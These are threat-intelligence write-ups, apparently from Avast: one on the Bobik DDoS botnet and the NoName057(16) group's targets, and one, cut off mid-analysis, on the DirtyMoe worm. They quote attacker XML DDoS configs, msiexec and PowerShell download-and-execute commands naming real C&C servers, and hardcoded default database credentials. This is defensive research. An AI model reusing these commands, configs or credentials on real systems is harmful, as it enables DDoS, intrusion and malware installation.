For the most part, we captured definitions sending data to login pages, password recovery sites, and site searches; as can be seen from the XML config snippet below:

  • Login data
    <task
    host="identity.tele2.lt"
    path="/Account/Login"
    body="SkipAutoLogin=False&amp;Username={.,15,20}%40gmail.com&amp;Password={.,15,20}&amp"

    />
  • Search requests
    <task
    host="www.delfi.ee"
    path="/otsing?search={.,3,12}&amp;domain=kinoveeb.delfi.ee&amp;categoryId&amp;order=PUBLISH_AT&amp;from=2012-08-22T{d,2,2}%3A{d,2,2}%3A{d,2,2}Z&amp;to=2022-08-22T20%3A59%3A59Z"
    />
  • Password recovery request
    <task
    host="client.smscredit.lv"
    path="/password-recovery"
    body="utf8=%E2%9C%93&amp;authenticity_token={.87,87}A%3D%3D&amp;user%5Bemail%5D={.,15,20}%40gmail.com&amp;g-recaptcha-response=03ANYolqu{.,539,539}"

    />

Consequently, the attackers try to overload a server with these requests, as they are computationally intensive. The requests require many accesses to server databases, e.g., verifying emails for password resetting, trying to login with random data (definitions), etc.

Bobik Botnet

The Avast telemetry data cannot paint a precise picture of the botnet’s size, but we can estimate the approximate representation of Bobik in the wild, see map below. The map shows where, according to Avast’s telemetry, the bots that attempt to carry out DDoS attacks for NoName057(16) are located. Avast has protected these devices from Bobik or from connecting to the C&C server. Most of the bots are located in Brazil, India, and Southeast Asia.

Distribution of users Avast protected from Bobik

According to our data, the number of Bobik bots is a few hundred. However, the total number must be much larger considering the DDoS attacks’ acute effectiveness and frequency. We, therefore, estimate there are thousands of Bobik bots in the wild.

Selection of DDoS Targets

We estimated a procedure as to how the attackers determine which web servers to DDoS attack because we have configurations of unsuccessful attacks.

The first step is looking for a target that supports Ukraine or a target with anti-Russian views. The attackers analyze the structure of the target’sΒ  website and identify pages that can cause server overloading, especially requests requiring higher computing time, such as searching, password resetting, login, etc.

The second step is filling in the XML template, encrypting it, and deploying it to the C&C servers. The attackers monitor the condition of the target server and modify the XML configuration based on needs (modification of URL parameters, bodies, etc.) to be more effective. The configuration is changed approximately three times per day.

Suppose the configuration is successful and a targeted server is in trouble. In that case, the configuration is fixed until the web server crashes or a server admins implement anti-DDoS technique or firewall rules based on GeoIP.

If the attack is unsuccessful, a new target is selected, and the whole procedure of selection is repeated.

Targets

In the first phase, the attackers targeted Ukrainian news servers they defined as being against the war in Ukraine. Then, the attacks targeted websites belonging to Ukrainian cities, local governments, distribution of electrical power, Ukrainian companies supplying the Ukraine army with weapons, railway, bus, companies, and postal offices.Β 

The second phase targeted organizations publicly supporting Ukraine financially or materially, like Ukraine banks and financial institutions, and operators of local Ukraine gas reservoirs that publicly declared help for the defenders of Ukraine.

As the political situation around the war changed, so did the targets of the DDoS attacks. Bobik performed DDoS attacks on GKN Aerospace, which is the supplier of the Northrop Grumman Corporation because the US Defense Department convened a meeting with America’s eight prime defense contractors (including Northrop Grumman Corporation) to ensure long-term readiness to meet β€œUkraine’s weapons needs”.Β 

Another global company under attack was Group 4 Securitas (G4S), which published a document assessing and exploring key elements of the conflict in Ukraine. In terms of telecommunications companies, we observed an attack on American telco company Verizon, which declared a waiver of call charges to and from Ukraine. And so, we could continue listing companies that were under Bobik attacks due to their support for Ukraine. You can see a few screenshots from affected websites below.

Screenshots of websites supporting Ukraine

Other attacks were more politically motivated based on government declarations of a given country. Baltic states (Lithuania, Latvia, and Estonia) were the significant targets, outside Ukraine, of DDoS attacks carried out by the group. Let’s summarize targets outside of Ukraine, chronologically, since we started monitoring Bobik.

  • June 7, 2022: Significant DDoS attack on Estonia central bank; see Twitter.
  • June 18, 2022: Bobik configuration changed to target Lithuanian transportation companies, local railway, and bus transportation companies after Lithuanian authorities announced a ban on transit through their territory to the Russian exclave of Kaliningrad of goods that are subject to EU sanctions. The attackers also targeted financial sectors in Lithuania, like UAB General Financing, Unija Litas, and more.
  • July 1, 2022: Goods were stopped by Norwegian authorities destined for the roughly 400 miners in the town of Barentsburg employed by the Russian state coal mining company Arktikugol. NoName057(16)’s DDoS attacks focused on Norwegian websites as retaliation for the blockade. The main targets were transportation companies (Kystverket, Helitrans, Boreal), the Norwegian postal service (Posten), and financial institutions (Sbanken, Gjensidige).
  • July 7, 2022: There were not any specific acts by Poland that caused the group to specifically target Polish sites. However, Poland has supported Ukraine from the beginning of the Ukraine conflict, and therefore sites in the country became targets. The first wave of DDoS attacks on Polish sites was aimed at government websites like the Polish Cyberspace Resource Center, Polish 56th Air Base, Military Recruitment Center in ChorzΓ³w, and more.
  • July 9, 2022: Bobik was reconfigured back to target Lithuanian websites, focusing on energy companies (Ignitis Group, KN), transportation companies (Ingstad & Co, Asstra-Vilnius), and banks (Turto Bankas, Ε iauliΕ³ Bankas, Swedbank, SEB, Kredito unija Litas).
  • July 25, 2022: Polish sites were targeted again, this timeΒ  the Polish government and airports were attacked. We observed a DDoS configuration including the Polish Sejm, Presidential Office, Ministry of National Defense, PoznaΕ„ Airport, Szczecin GoleniΓ³w Airport, Gdansk Airport, KrakΓ³w Airport, and more.
  • August 5, 2022: Polish regional and district courts were targeted.
  • August 9, 2022: When Finland announced their intention to join NATO, the Bobik configuration was reconfigured to target Finnish government institutions, like theΒ  Parliament of Finland (Eduskunta), State Council, Finnish police, and more.
  • August 14, 2022: Latvian financial sector (Latvian Payment Services and Electronic Money, Luminor Interneto bankas) was attacked.
  • August 16, 2022: The second wave of attacks on the Polish justice system began. We monitored a configuration with specific district courts in Krakow, Olsztyn, Warszawa, Poznan.
  • August 23, 2022: Estonia’s largest news portal, Delfi, was under DDoS attack because it published Russophobic content.
  • August 26, 2022: The group targeted another Estonian company, Tallink Grupp, a company providing transport services in the northern Baltic Sea region, including air transport. Tallink’s airports, such as KΓ€rdla, Tartu, and PΓ€rnu were targeted.
  • August 27, 2022: Lithuania’s ministries of National Defense, Culture, Education, Science and Sports, and Public Procurement Offices were targeted, along with the airports and transport companies.
  • August 29, 2022: Ukrainian banks were under DDoSed by the group after a long break. We observed Acordbank, Trust capital, JSC Poltava-Bank, and Pravex Bank under attack.
  • September 1 and 2, 2022: Ukrainian schools were under attack at the beginning of the new school year. Fortunately, none of the group’s 14 targets were taken down.
  • September 3, 2022: Polish armaments plants (Dezamet, ZakΕ‚ady Mechaniczne TarnΓ³w) and Lithuanian investment companies (Unija Litas, General Financing Bankas) were the group’s first victims after their unsuccessful attack attempts on Ukrainian school institutions.
  • September 6, 2022: The second attempt to attack Ukrainian school institutions (Athens School in Kyiv, Cherkasy National University, First Cambridge Education Center, and more).

The graph below shows a timeline of Bobik DDoS attacks, including successful and unsuccessful attacks from the beginning of June to mid-July 2022, captured by Avast telemetry.

Finally, we inspected all hosts from the XML configuration files within our three-month observation period. The pie chart below illustrates that sites from Lithuania and Poland are the main targets of the NoName057(16) group.

Looking at the distribution of attacked institutions, courts come in first, and second is logistic companies, followed by banks. The remaining targets are airports, transportation, and logistic companies, governments, and telecommunications companies. A full list of the targets can be found at Appendix.

Identifying NoName057(16)

We have tried identifying the hacker group controlling Bobik bots and C&C servers. It was evident that the group must be pro-Russia, so we looked for the most famous DDoS attacks.

Shortly after the war in Ukraine began, a pro-Russia hacking group called Killnet appeared and began carrying out DDoS attacks against companies and governments supporting Ukraine, and even targeted the 2022 Eurovision Song Contest.

Bobik initially attacked websites Killnet has marked as β€œundesirable”. Killnet reports their DDoS attacks on their Telegram account. At first, it looked like the attacks carried out by Bobik distantly resembled Killnet’s activity, because the timeline of attacked countries was similar to the XML configurations. However, many successful DDoS attacks by Bobik were not posted by Killnet.

On June 21, 2022, the Killnet group publicly thanked a group called NoName057(16) for their support during a β€œspecial military operation”:

When we finished analyzing NoName057(16)’s Telegram channel, we confirmed that NoName057(16) is responsible for the DDoS attacks performed by the Bobik bots. All the XML configurations we captured from the NoName057(16) C&C servers exactly match the posts on the Telegram channel.

NoName057(16)

NoName057(16) is a little-known pro-Russian hacker group. They boast about their successful attack attempts on their Telegram channel, which has more than 14K subscribers. The group was active before we began tracking them on June 1, 2022. Their Telegram channel was created on March 11, 2022. We suspect they were either using a different set of botnets before June 1, 2022, or updating the malware used to control the bots in June.

NoName057(16) has been threatening to punish β€œpropaganda” sources that β€œlie” about the Russian β€œspecial operation” in Ukraine, as well as governments from neighboring countries supporting them in their fight against Russia. The group became visible in the media at the beginning of August after carrying out successful attacks on Finnish and Polish parliaments.

A Wikipedia page about NoName057(16) was created on August 17, 2022. The page summarizes the group’s main activity. It classifies the group as a pro-Russia hacker group that claimed responsibility for cyberattacks on Ukrainian, US, and European websites belonging to government agencies, media, and private companies.

NoName057(16) released a manifesto declaring cyberwar as an act of revenge for open information war against Russia:

As the group increased its activities and media profile, it became easier to determine they were behind the attacks. Therefore, we can clearly state that Bobik is controlled by the pro-Russian hacker group called NoName057(16).

Success Rate

The group only reports successful DDoS attacks on their Telegram channel. Although the reported number of successful attacks seems large, statistical information indicates the contrary.

The group exclusively concentrates on DDoS attacks. They do not try to steal data or gain access to systems like other dangerous groups. The question is if they have the necessary knowledge, strength, and infrastructure to do more. Carrying out DDoS attacks is straightforward and does not require deep technical knowledge. Furthermore, the Bobik implementation only sends a simple HTTP request.

Our three-month observation shows that the group’s attack success is around 40%. We compared XML configurations captured by Avast to the achievements the group posts on their Telegram channel. Moreover, there is a particular set of targets, making up ~20% of their posts on Telegram, NoName057(16) claimed they successfully attacked, but we did not match them to the targets listed in their configuration files. For example, NoName057(16) claims to be responsible for attacking websites belonging to Lithuanian airports on June 25, 2022:

NoName057(16) claiming to be responsible for a DDoS attack on Lithuanian airports, posted on NoName057(16)’s Telegram channel

However, we did not find any records of the attack in the configuration files. The likelihood of them not using all of their bots in attacks is slim. In addition to this outage, NoName057(16) declared the sites were under a continuous fourteen-day attack. This would require an extensive bot network, especially considering the group performed other attacks during the same time frame, and the websites were still offline. From what we have seen, it is unlikely that NoName057(16) has an extensive bot network. Moreover, most of their DDoS attacks last a few hours, maximally a few days.

Impact and Protection

The power of the DDoS attacks performed by NoName057(16) is debatable, to say the least. At one time, they can effectively strike about thirteen URL addresses at once, judging by configuration history, including subdomains. Furthermore, one XML configuration often includes a defined domain/target as a set of subdomains, so Bobik effectively attacks five different domains within one configuration. Consequently, they cannot focus on more domains for capacity and efficiency reasons.

Most of the successful attacks result in servers being down for several hours or a few days. To handle the attacks, site operators often resort to blocking queries coming from outside of their country. It is a typical and suitable solution for local servers/domains such as local ticket portals of local bus/train companies, local institutions/companies, etc. Therefore, the DDoS impact on these domains has a minimal effect on the servers of local and smaller companies. Some operators or owners of affected servers have unregistered their domains, but these are extreme cases.

The DDoS attacks carried out were more difficult to handle for some site operators of prominent and significant domains, such as banks, governments, and international companies. After a successful attack, we noticed larger companies implementing enterprise solutions, like Cloudflare or BitNinja, which can filter incoming traffic and detect DDoS attacks in most cases. On the other hand, most large, international companies expect heavier traffic and run their web servers in the Cloud with anti-DDoS solutions, making them more resilient to attacks. For example, the group was unsuccessful in taking down sites belonging to Danish bank, Danske Bank (attacked June 19 – 21, 2022), and Lithuanian bank, SEB (attacked July 12 – 13, 2022 and July 20 – 21, 2022).Β 

The success of DDoS attacks depends on victim selection. The more β€œsuccessful” attacks affected companies with simple sites, including about us, our mission, and a contact page, for example. These types of companies do not use their web pages as the main part of their business. These servers are therefore not typically designed to be heavily loaded and do not implement anti-DDoS techniques, making them a very easy target.

The group’sΒ  DDoS attack on PoznaΕ„-Ławica Airport in Poland took the site offline for 16 minutes. NoName057(16) configured Bobik bots based on the <tasks> shown in the screenshot below:

XML configuration for PoznaΕ„-Ławica Airport

They tried to overload the server with requests for searching, form submitting, and getting data via WordPress API. When the server started to return 502 errors, NoName057(16) did not forget to brag on their Telegram channel. They also included a link to check-host.net to prove their β€œrevenge”.

NoName057(16)’s Telegram post related to their DDoS attack on PoznaΕ„-Ławica Airport

However, affected servers very often run back online within several minutes if they implement some anti-DDoS techniques because the algorithms learn to recognize the given type of attacks. The check-host.net report below demonstrates that the DDoS attack on PoznaΕ„-Ławica Airport had a minimal impact since the website was offline for 16 minutes.

Check-host.net report for the DDoS attack on PoznaΕ„-Ławica Airport, which took the site offline for 16 minutes

On June 23, 2022, NoName057(16) reported on Telegram that Lithuanian authorities lifted a ban on the transit of Russian cargo to Kaliningrad. The group attributes the lifting of the ban, amongst other things, to the efforts of their cyber attacks on Lithuania’s infrastructure, which is debatable at best. However, the attacks on Lithuanian servers have continued.

Performance

The botnet went into an idle state on September 1, 2022, at 6 PM UTC, and remained idle persisted for 12 hours. The botnet was reactivated on September 2, 2022, at 4 AM UTC. The XML file sent to the bots contained empty <tasks>, like in this example: <config><tasks delay="0" thread_count="-6"/></config>

A decline in the botnet’s performance may be a possible explanation for this. The group only posted two general posts to their Telegram channel on September 1 and 2, 2022, instead of boasting about successful attacks, our first indication the botnet might not be performing well.Β Β 

The first post was about the beginning of the new school year and day of knowledge. The group also mentioned being on the defense of the cyber front for their country and the for the safety of the younger generation. The second post was about β€œinformation guns and DDoS tanks” that worked quietly on very difficult and important work.

In fact, NoName057(16) changed targets ten times each day in the XML configurations, which is abnormal. We monitored the targets for these days, and none of the attacks were successful. Therefore, it is evident that the botnet had some trouble.

Most of the sites attacked by the group have implemented anti-DDoS protections. This slowdownΒ  implies that the botnet is relatively static without many changes, such as recruiting new bots or dynamically changing bots’ IPs. A static botnet is an advantage for anti-DDoS protections, because malicious traffic can be easily identified.

NoName057(16) has continued to attack other easier targets since September. Only the future will reveal the Bobik botnet’s successes and failures. However, the attack’s success rate has been only around 25% since the beginning of September.

Conclusion

We investigated and analyzed malware used to carry out DDoS attacks on sites in and around Ukraine, starting in June, 2022. We identified the malware as a .NET variant of a RAT called Bobik, including a DDoS module, and spreading via a bot-net-as-a-service, RedLine Stealer.

The first technical part of this investigation uncovered C&C servers and the HTTP communication protocol used by the Bobik bots. We also successfully decrypted the HTTP protocol, including its parameters. This allowed us to monitor the C&C servers and collect information about the botnet architecture and XML configurations defining the DDoS targets.

The second aim was to determine the bad actors behind the attacks. We identified a pro-Russian hacker group called NoName057(16), as the users or possibly even the authors of Bobik, based on the XML configurations and what the group posts to their Telegram channel.

NoName057(16) focuses exclusively on DDoS attacks and looks for companies and organizations that support Ukraine or are β€œanti-Russian”. They do not try to steal data or gain access to the system like other dangerous groups. Therefore, we can declare that their activities are only harmful in the sense that they can lose companies’ business while their sites are offline, but attacked sites that have gone offline have luckily recovered quickly. Their activities are more annoying than dangerous.Β 

We found that the successful attacks defined by NoName057(16) make up just ~ 40% of all of their attack attempts. The success of their attacks depends on the quality of the targeted infrastructure. The evidence suggests that well-secured and designed servers can withstand the group’s DDoS attacks.Β 

The group focuses on servers/domains as retaliation for cyber-attacks and sanctions on Russia. All successful attacks, and even successful attacks the group is not responsible for (but claims to be), are posted to their Telegram channel.

If you are concerned your device might be infected with Bobik and supporting NoName057(16)’s efforts, we highly recommend you install security software, like Avast Antivirus, which detects, blocks and can remove Bobik.

IOCs

The full list of IoCs is available in the IOC repository

Appendix

GUIDS

http://[ip]/[request]/update?id=[sha256]&v=[version]&pr=[flag]

[request] value
notice bcaa8752-51ff-4e35-8ef9-4aefbf42b482
d380f816-7412-400a-9b64-78e35dd51f6e
admin 27bff71b-42c0-4a47-ba39-04c83f2f40bb
dropper fb82275d-6255-4463-8261-ef65d439b83b/<file_name>

<file_name>
Q7yheyG7.exe
afVAcUJTvDvM.exe
XuS1qxZa.exe
AdminService.exe
Q7yheyG7.exe
xLZ6auza.exe
BAebY2lBT7ee.exe
Bobiks’ Targets
Full list of the targets can be found in the IOC repository

References

[1] Threat Encyclopedia
[2] US Defense Department convened a meeting with America’s eight prime defense contractors
[3] Ukraine Conflict Overview And Impact To Security In The UK
[4] Verizon Waives Calling Charges to and From Ukraine
[5] Kaliningrad sanctions to take effect, Lithuania says
[6] Norway Greenlights Blocked Goods for Russian Arctic Miners
[7] Hacker wars heat up as the pro-Russian Killnet attacks Italy
[8] What is known about the Russian hacker group NoName057(16), which hacked the website of the Finnish Parliament?
[9] Russian hacker group NoName057 (16) attacks Poland and Finland
[10] Wikipedia – NoName057(16)

The post Pro-Russian Group Targeting Ukraine Supporters with DDoS Attacks appeared first on Avast Threat Labs.

DirtyMoe: Worming Modules

16 March 2022 at 12:36

The DirtyMoe malware is deployed using various kits like PurpleFox or injected installers of Telegram Messenger that require user interaction. Complementary to this deployment, one of the DirtyMoe modules expands the malware using worm-like techniques that require no user interaction.

This research analyzes this worming module’s kill chain and the procedures used to launch/control the module through the DirtyMoe service. Other areas investigated include evaluating the risk of identified exploits used by the worm and detailed analysis of how its victim selection algorithm works. Finally, we examine this performance and provide a thorough examination of the entire worming workflow.

The analysis showed that the worming module targets older well-known vulnerabilities, e.g., EternalBlue and Hot Potato Windows Privilege Escalation. Another important discovery is a dictionary attack using Service Control Manager Remote Protocol (SCMR), WMI, and MS SQL services. Finally, an equally critical outcome is discovering the algorithm that generates victim target IP addresses based on the worming module’s geographical location.

One worm module can generate and attack hundreds of thousands of private and public IP addresses per day; many victims are at risk since many machines still use unpatched systems or weak passwords. Furthermore, the DirtyMoe malware uses a modular design; consequently, we expect other worming modules to be added to target prevalent vulnerabilities.

1. Introduction

DirtyMoe, the successful malware we documented in detail in the previous series, also implements mechanisms to reproduce itself. The most common way of deploying the DirtyMoe malware is via phishing campaigns or malvertising. In this series, we will focus on techniques that help DirtyMoe to spread in the wild.

The PurpleFox exploit kit (EK) is the most frequently observed approach to deploy DirtyMoe; the immediate focus of PurpleFox EK is to exploit a victim machine and install DirtyMoe. PurpleFox EK primarily abuses vulnerabilities in the Internet Explorer browser via phishing emails or popunder ads. For example, Guardicore described a worm spread by PurpleFox that abuses SMB services with weak passwords [2], infiltrating poorly secured systems. Recently, Minerva Labs has described the new infection vector installing DirtyMoe via an injected Telegram Installer [1].

Currently, we are monitoring three approaches used to spread DirtyMoe in the wild; Figure 1 illustrates the relationship between the individual concepts. The primary function of the DirtyMoe malware is crypto-mining; it is deployed to victims’ machines using different techniques. We have observed PurpleFox EK, PurleFox Worm, and injected Telegram Installers as mediums to spread and install DirtyMoe; we consider it highly likely that other mechanisms are used in the wild.

Figure 1. Mediums of DirtyMoe

In the fourth series on this malware family, we described the deployment of the DirtyMoe service. Figure 2 illustrates the DirtyMoe hierarchy. The DirtyMoe service is run as a svchost process that starts two other processes: DirtyMoe Core and Executioner, which manages DirtyMoe modules. Typically, the executioner loads two modules; one for Monero mining and the other for worming replication.

Figure 2. DirtyMoe hierarchy

Our research has been focused on worming since it seems that worming is one of the main mediums to spread the DirtyMoe malware. The PurpleFox worm described by Guardicore [2] is just the tip of the worming iceberg because DirtyMoe utilizes sophisticated algorithms and methods to spread itself into the wild and even to spread laterally in the local network.

The goal of the DirtyMoe worm is to exploit a target system and install itself into a victim machine. The DirtyMoe worm abuses several known vulnerabilities as follow:

  • CVE:2019-9082: ThinkPHP – Multiple PHP Injection RCEs
  • CVE:2019-2725: Oracle Weblogic Server – β€˜AsyncResponseService’ Deserialization RCE
  • CVE:2019-1458: WizardOpium Local Privilege Escalation
  • CVE:2018-0147: Deserialization Vulnerability
  • CVE:2017-0144: EternalBlue SMB Remote Code Execution (MS17-010)
  • MS15-076: RCE Allow Elevation of Privilege (Hot Potato Windows Privilege Escalation)
  • Dictionary attacks to MS SQL Servers, SMB, and Windows Management Instrumentation (WMI)

The prevalence of DirtyMoe is increasing in all corners of the world; this may be due to the DirtyMoe worm’s strategy of generating targets using a pseudo-random IP generator that considers the worm’s geological and local location. A consequence of this technique is that the worm is more flexible and effective given its location. In addition, DirtyMoe can be expanded to machines hidden behind NAT as this strategy also provides lateral movement in local networks. A single DirtyMoe instance can generate and attack up to 6,000 IP addresses per second.

The insidiousness of the whole worm’s design is its modularization controlled by C&C servers. For example, DirtyMoe has a few worming modules targeting a specific vulnerability, and C&C determines which worming module will be applied based on information sent by a DirtyMoe instance.

The DirtyMoe worming module implements three basic phases common to all types of vulnerabilities. First, the module generates a list of IP addresses to target in the initial phase. Then, the second phase attacks specific vulnerabilities against these targets. Finally, the module performs dictionary attacks against live machines represented by the randomly generated IP addresses. The most common modules that we have observed are SMB and SQL.

This article focuses on the DirtyMoe worming module. We analyze and discuss the worming strategy, which exploits are abused by the malware author, and a module behavior according to geological locations. One of the main topics is the performance of IP address generation, which is crucial for the malware’s success. We are also looking for specific implementations of abused exploits, including their origins.

2. Worm Kill Chain

We can describe the general workflow of the DirtyMoe worming module through the kill chain. Figure 3 illustrates stages of the worming workflow.

Figure 3. Worming module workflow

Reconnaissance
The worming module generates targets at random but also considers the geolocation of the module. Each generated target is tested for the presence of vulnerable service versions; the module connects to the specific port where attackers expect vulnerable services and verifies whether the victim’s machine is live. If the verification is successful, the worming module collects basic information about the victim’s OS and versions of targeted services.

Weaponization
The C&C server appears to determine which specific module is used for worming without using any victim’s information. Currently, we do not precisely know what algorithm is used for module choice but suspect it depends on additional information sent to the C&C server.

When the module verifies that a targeted victim’s machine is potentially exploitable, an appropriate payload is prepared, and an attack is started. The payload must be modified for each attack since a remote code execution (RCE) command is valid only for a few minutes.

Delivery
In this kill chain phase, the worming module sends the prepared payload. The payload delivery is typically performed using protocols of targeted services, e.g., SMB or MS SQL protocols.

Exploitation and Installation
If the payload is correct and the victim’s machine is successfully exploited, the RCE command included in the payload is run. Consequently, the DirtyMoe malware is deployed, as was detailed in the previous article (DirtyMoe: Deployment).

3. RCE Command

The main goal of the worming module is to achieve RCE under administrator privileges and install a new DirtyMoe instance. The general form of the executed command (@RCE@) is the same for each worming module:
Cmd /c for /d %i in (@WEB@) do Msiexec /i http://%i/@FIN@ /Q

The command usually iterates through three IP addresses of C&C servers, including ports. IPs are represented by the placeholder @WEB@ filled on runtime. Practically, @WEB@ is regenerated for each payload sent since the IPs are rotated every minute utilizing sophisticated algorithms; this was described in Section 2 of the first blog.

The second placeholder is @FIN@ representing the DirtyMoe object’s name; this is, in fact, an MSI installer package. The package filename is in the form of a hash – [A-F0-9]{8}\.moe. The hash name is generated using a hardcoded hash table, methods for rotations and substrings, and by the MS_RPC_<n> string, where n is a number determined by the DirtyMoe service.

The core of the @RCE@ command is the execution of the remote DirtyMoe object (http://) via msiexec in silent mode (/Q). An example of a specific @RCE@ command is:
Cmd /c for /d %i in (45.32.127.170:16148 92.118.151.102:19818 207.246.118.120:11410) do Msiexec /i http://%i/6067C695.moe /Q

4. IP Address Generation

The key feature of the worming module is the generation of IP addresses (IPs) to attack. There are six methods used to generate IPs with the help of a pseudo-random generator; each method focuses on a different IPv4 Class. Accordingly, this factor contributes to the globally uniform distribution of attacked machines and enables the generation of more usable IP addresses to target.

4.1 Class B from IP Table

The most significant proportion of generated addresses is provided by 10 threads generating IPs using a hardcoded list of 24,622 items. Each list item is in form 0xXXXX0000, representing IPs of Class B. Each thread generates IPs based on the algorithms as follows:

The algorithm randomly selects a Class B address from the list and 65,536 times generates an entirely random number that adds to the selected Class B addresses. The effect is that the final IP address generated is based on the geological location hardcoded in the list.

Figure 4 shows the geological distribution of hardcoded addresses. The continent distribution is separated into four parts: Asia, North America, Europe, and others (South America, Africa, Oceania). We verified this approach and generated 1M addresses using the algorithm. The result has a similar continental distribution. Hence, the implementation ensures that the IP addresses distribution is uniform.

Figure 4. Geological distribution of hardcoded class B IPs
4.2 Fully Random IP

The other three threads generate completely random IPs, so the geological position is also entirely random. However, the full random IP algorithm generates low classes more frequently, as shown in the algorithm below.

4.3 Derived Classes A, B, C

Three other algorithms generate IPs based on an IP address of a machine (IPm) where the worming module runs. Consequently, the worming module targets machines in the nearby surroundings.

Addresses are derived from the IPm masked to the appropriate Class A/B/C, and a random number representing the lower Class is added; as shown inΒ the following pseudo-code.

4.4 Derived Local IPs

The last IP generating method is represented by one thread that scans interfaces attached to local networks. The worming module lists local IPs using gethostbyname() and processes one local address every two hours.

Each local IP is masked to Class C, and 255 new local addresses are generated based on the masked address. As a result, the worming module attacks all local machines close to the infected machine in the local network.

5. Attacks to Abused Vulnerabilities

We have detected two worming modules which primarily attack SMB services and MS SQL databases. Our team has been lucky since we also discovered something rare: a worming module containing exploits targeting PHP, Java Deserialization, and Oracle Weblogic Server that was still under development. In addition, the worming modules include a packed dictionary of 100,000-words used with dictionary attacks.

5.1 EternalBlue

One of the main vulnerabilities is CVE:2017-0144: EternalBlue SMB Remote Code Execution (patched by Microsoft in MS17-010). It is still bewildering how many EternalBlue attacks are still observed – Avast is still blocking approximately 20 million attempts for the EternalBlue attack every month.

The worming module focuses on the Windows version from Windows XP to Windows 8. We have identified that the EternalBlue implementation is the same as described in exploit-db [3], and an effective payload including the @RCE@ command is identical to DoublePulsar [4]. Interestingly, the whole EternalBlue payload is hardcoded for each Windows architecture, although the payload can be composed for each platform separately.

5.2 Service Control Manager Remote Protocol

No known vulnerability is used in the case of Service Control Manager Remote Protocol (SCMR) [5]. The worming module attacks SCMR through a dictionary attack. The first phase is to guess an administrator password. The details of the dictionary attack are described in Section 6.4.

If the dictionary attack is successful and the module guesses the password, a new Windows service is created and started remotely via RPC over the SMB service. Figure 5 illustrates the network communication of the attack. Binding to the SCMR is identified using UUID {367ABB81-9844-35F1-AD32- 98F038001003}. On the server-side, the worming module as a client writes commands to the \PIPE\svcctl pipe. The first batch of commands creates a new service and registers a command with the malicious @RCE@ payload. The new service is started and is then deleted to attempt to cover its tracks.

The Microsoft HTML Application Host (mshta.exe) is used as a LOLbin to execute and create ShellWindows and run @RCE@. The advantage of this proxy execution is that mshta.exe is typically marked as trusted; some defenders may not detect this misuse of mshta.exe.

Figure 5. SCMR network communications

Windows Event records these suspicious events in the System log, as shown in Figure 6. The service name is in the form AC<number>, and the number is incremented for each successful attack. It is also worth noting that ImagePath contains the @RCE@ command sent to SCMR in BinaryPathName, see Figure 5.

Figure 6. Event log for SCMR
5.3 Windows Management Instrumentation

The second method that does not misuse any known vulnerability is a dictionary attack to Windows Management Instrumentation (WMI). The workflow is similar to the SCMR attack. Firstly, the worming module must also guess the password of a victim administrator account. The details of the dictionary attack are described in Section 6.4.

The attackers can use WMI to manage and access data and resources on remote computers [6]. If they have an account with administrator privileges, full access to all system resources is available remotely.

The malicious misuse lies in the creation of a new process that runs @RCE@ via a WMI script; see Figure 7. DirtyMoe is then installed in the following six steps:

  1. Initialize the COM library.
  2. Connect to the default namespace root/cimv2 containing the WMI classes for management.
  3. The Win32_Process class is created, and @RCE@ is set up as a command-line argument.
  4. Win32_ProcessStartup represents the startup configuration of the new process. The worming module sets a process window to a hidden state, so the execution is complete silently.
  5. The new process is started, and the DirtyMoe installer is run.
  6. Finally, the WMI script is finished, and the COM library is cleaned up.
Figure 7. WMI scripts creating Win32_Process lunching the @RCE@ command
5.4 Microsoft SQL Server

Attacks on Microsoft SQL Servers are the second most widespread attack in terms of worming modules. Targeted MS SQL Servers are 2000, 2005, 2008, 2012, 2014, 2016, 2017, 2019.

The worming module also does not abuse any vulnerability related to MS SQL. However, it uses a combination of the dictionary attack and MS15-076: β€œRCE Allow Elevation of Privilege” known as β€œHot Potato Windows Privilege Escalation”. Additionally, the malware authors utilize the MS15-076 implementation known as Tater, the PowerSploit function Invoke-ReflectivePEInjection, and CVE-2019-1458: β€œWizardOpium Local Privilege Escalation” exploit.

The first stage of the MS SQL attack is to guess the password of an attacked MS SQL server. The first batch of username/password pairs is hardcoded. The malware authors have collected the hardcoded credentials from publicly available sources. It contains fifteen default passwords for a few databases and systems like Nette Database, Oracle, Firebird, Kingdee KIS, etc. The complete hardcoded credentials are as follows: 401hk/401hk_@_, admin/admin, bizbox/bizbox, bwsa/bw99588399, hbv7/zXJl@mwZ, kisadmin/ypbwkfyjhyhgzj, neterp/neterp, ps/740316, root/root, sp/sp, su/t00r_@_, sysdba/masterkey, uep/U_tywg_2008, unierp/unierp, vice/vice.

If the first batch is not successful, the worming module attacks using the hardcoded dictionary. The detailed workflow of the dictionary attack is described in Section 6.4.

If the module successfully guesses the username/password of the attacked MS SQL server, the module executes corresponding payloads based on the Transact-SQL procedures. There are five methods launched one after another.

  1. sp_start_job
    The module creates, schedules, and immediately runs a task with Payload 1.
  2. sp_makewebtask
    The module creates a task that produces an HTML document containing Payload 2.
  3. sp_OAMethod
    The module creates an OLE object using the VBScript β€œWScript.Shellβ€œ and runs Payload 3.
  4. xp_cmdshell
    This method spawns a Windows command shell and passes in a string for execution represented by Payload 3.
  5. Run-time Environment
    Payload 4 is executed as a .NET assembly.

In brief, there are four payloads used for the DirtyMoe installation. The SQL worming module defines a placeholder @SQLEXEC@ representing a full URL to the MSI installation package located in the C&C server. If any of the payloads successfully performed a privilege escalation, the DirtyMoe installation is silently launched via MSI installer; see our DirtyMoe Deployment blog post for more details.

Payload 1

The first payload tries to run the following PowerShell command:
powershell -nop -exec bypass -c "IEX $decoded; MsiMake @SQLEXEC@;"
where $decoded contains the MsiMake functions, as is illustrated in Figure 8. The function calls MsiInstallProduct function from msi.dll as a completely silent installation (INSTALLUILEVEL_NONE) but only if the MS SQL server runs under administrator privileges.

Figure 8. MsiMake function
Payload 2

The second payload is used only for sp_makewebtask execution; the payload is written to the following autostart folders:
C:\Users\Administrator\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\1.hta
C:\ProgramData\Microsoft\Windows\Start Menu\Programs\Startup\1.hta

Figure 9 illustrates the content of the 1.hta file camouflaged as an HTML file. It is evident that DirtyMoe may be installed on each Windows startup.

Figure 9. ActiveX object runs via sp_makewebtask
Payload 3

The last payload is more sophisticated since it targets the vulnerabilities and exploits mentioned above. Firstly, the worming module prepares a @SQLPSHELL@ placeholder containing a full URL to the DirtyMoe object that is the adapted version of the Tater PowerShell script.

The first stage of the payload is a powershell command:
powershell -nop -exec bypass -c "IEX (New-Object Net.WebClient).DownloadString(''@SQLPSHELL@''); MsiMake @SQLEXEC@"

